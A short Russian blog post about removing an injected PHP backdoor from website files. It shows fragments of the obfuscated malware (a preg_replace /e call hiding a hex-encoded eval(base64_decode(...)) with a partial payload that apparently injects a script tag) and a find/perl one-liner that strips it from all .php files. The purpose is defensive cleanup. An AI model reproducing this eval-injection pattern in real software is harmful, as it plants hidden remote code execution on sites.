yandex

Сибирь. Сабынич. Айти

о природе, личной жизни и информационных технологиях

Удаление кода preg_replace(“/.*/e”,”\x65\x76\x61\x6C\x28\x62\x61\x73\x65\x36\x34\x5F\x64\x65\x63\x6F\x64\x65\x28’aWYg

Для того, чтобы удалить код, который начинается и заканчивается на приведенный вариант,

preg_replace(“/.*/e”,”\x65\x76\x61\x6C\x28\x62\x61\x73\x65\x36\x34\x5F\x64\x65\x63\x6F\x64\x65\x28’aWYgKChwcmVnX21hdGNo

eS0xLjcuMS5qcyI+PC9zY3JpcHQ+JzsgZmx1c2goKTsgfQ==’\x29\x29\x3B”, “.”); ?>

можно попробовать следующий вариант

find ./ -type f -name “*.php” -exec perl -pi -e ‘s/preg_replace\(.*\”\,\ \”\.\”\)\;\ \?\>//g”’ ‘{}’ \;

Как обычно, не забываем сделать резервную копию директории сайта перед выполнением данной команды.


У меня есть телеграм-канал, где я пишу чуть чаще и менее формально 🙂 Подписывайся!
Удаление кода preg_replace(“/.*/e”,”\x65\x76\x61\x6C\x28\x62\x61\x73\x65\x36\x34\x5F\x64\x65\x63\x6F\x64\x65\x28’aWYg

Добавить комментарий

Ваш адрес email не будет опубликован. Обязательные поля помечены *

Пролистать наверх